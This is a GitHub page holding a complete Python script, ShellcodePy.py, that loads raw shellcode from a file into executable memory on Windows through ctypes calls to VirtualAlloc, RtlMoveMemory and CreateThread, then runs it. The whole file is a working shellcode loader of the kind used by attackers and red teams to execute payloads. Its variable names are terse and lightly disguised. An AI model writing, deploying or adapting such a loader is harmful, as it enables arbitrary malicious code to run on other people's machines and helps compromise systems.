ShellcodePy/ShellcodePy.py at master · ELMERIKH/ShellcodePy · GitHub

31 lines (25 loc) · 985 Bytes

import ctypes as kk

import sys

def O(shl_f):

with open(shl_f, 'rb') as f:

b_x = f.read()

kk.windll.kernel32.VirtualAlloc.restype = kk.c_void_p

kk.windll.kernel32.CreateThread.argtypes = (

kk.c_int, kk.c_int, kk.c_void_p, kk.c_int, kk.c_int, kk.POINTER(kk.c_int)

)

spc = kk.windll.kernel32.VirtualAlloc(

kk.c_int(0), kk.c_int(len(b_x)), kk.c_int(0x3000), kk.c_int(0x40)

)

bf = (kk.c_char * len(b_x)).from_buffer_copy(b_x)

kk.windll.kernel32.RtlMoveMemory(kk.c_void_p(spc), bf, kk.c_int(len(b_x)))

hndl = kk.windll.kernel32.CreateThread(

kk.c_int(0), kk.c_int(0), kk.c_void_p(spc), kk.c_int(0), kk.c_int(0),

kk.pointer(kk.c_int(0))

)

kk.windll.kernel32.WaitForSingleObject(hndl, kk.c_uint32(0xffffffff))

if __name__ == "__main__":

if len(sys.argv) != 2:

print("Usage: python ShellcodePy.py shellcode.bin/or shellcode file")

else:

shl_f = sys.argv[1]

O(shl_f)

Expand file tree